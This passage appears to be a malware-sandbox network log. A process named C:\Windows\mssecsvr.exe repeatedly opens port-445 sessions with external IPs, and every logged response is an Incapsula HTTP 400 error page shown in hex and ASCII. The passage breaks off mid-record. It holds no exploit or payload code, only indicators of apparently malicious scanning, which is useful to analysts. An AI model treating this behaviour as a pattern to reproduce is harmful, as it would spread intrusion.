Jul 20, 2022 19:33:40.506061077 CEST	11473	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 14-68635667-0 0NNN RT(1658338419830 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 36 38 36 33 35 36 36 37 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 31 39 38 33 30 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 34 30 32 32 35 35 34 32 33 32 31 36 30 34 38 31 34 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 34 30 32 32 35 35 34 32 33 32 31 36 30 34 38 31 34 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-68635667-0%200NNN%20RT%281658338419830%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-340225542321604814&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-340225542321604814</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	45.60.207.23	445	192.168.2.7	58650	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:40.636116028 CEST	11475	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 9-12737393-0 0NNN RT(1658338420407 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 39 2d 31 32 37 33 37 33 39 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 32 30 34 30 37 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 36 36 34 36 34 32 33 32 34 30 36 33 32 33 39 37 37 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 36 36 34 36 34 32 33 32 34 30 36 33 32 33 39 37 37 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=9-12737393-0%200NNN%20RT%281658338420407%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-66464232406323977&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-66464232406323977</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	45.60.207.23	445	192.168.2.7	58850	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:43.686152935 CEST	11484	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 697 X-Iinfo: 10-16481994-0 0NNN RT(1658338423449 8) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 30 2d 31 36 34 38 31 39 39 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 32 33 34 34 39 25 32 30 38 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 38 32 39 35 31 35 36 33 38 38 33 36 34 37 37 35 34 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 38 32 39 35 31 35 36 33 38 38 33 36 34 37 37 35 34 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=10-16481994-0%200NNN%20RT%281658338423449%208%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-82951563883647754&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-82951563883647754</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	45.60.207.24	445	192.168.2.7	58854	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:43.837222099 CEST	11488	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 697 X-Iinfo: 14-10695400-0 0NNN RT(1658338422834 2) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 31 30 36 39 35 34 30 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 32 32 38 33 34 25 32 30 32 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 34 39 38 33 37 37 36 31 31 37 38 31 37 38 31 32 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 34 39 38 33 37 37 36 31 31 37 38 31 37 38 31 32 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-10695400-0%200NNN%20RT%281658338422834%202%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-49837761178178126&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-49837761178178126</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	45.60.207.24	445	192.168.2.7	59157	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:46.901806116 CEST	11499	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 695 X-Iinfo: 6-2802495-0 0NNN RT(1658338425901 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 36 2d 32 38 30 32 34 39 35 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 32 35 39 30 31 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 33 31 38 36 34 32 31 35 33 34 35 36 30 38 33 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 33 31 38 36 34 32 31 35 33 34 35 36 30 38 33 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=6-2802495-0%200NNN%20RT%281658338425901%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-13186421534560838&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-13186421534560838</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	50233	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	45.60.207.25	445	192.168.2.7	59159	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:47.008858919 CEST	11502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 9-43035436-0 0NNN RT(1658338426957 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 39 2d 34 33 30 33 35 34 33 36 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 32 36 39 35 37 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 32 31 34 38 33 33 31 30 35 31 30 37 34 38 37 38 31 37 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 32 31 34 38 33 33 31 30 35 31 30 37 34 38 37 38 31 37 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=9-43035436-0%200NNN%20RT%281658338426957%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-214833105107487817&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-214833105107487817</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	45.60.207.25	445	192.168.2.7	59464	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:50.098659039 CEST	11513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 12-115226369-0 0NNN RT(1658338430046 1) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 32 2d 31 31 35 32 32 36 33 36 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 33 30 30 34 36 25 32 30 31 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 36 39 34 38 35 34 35 39 37 32 39 34 38 34 38 37 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 36 39 34 38 35 34 35 39 37 32 39 34 38 34 38 37 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta 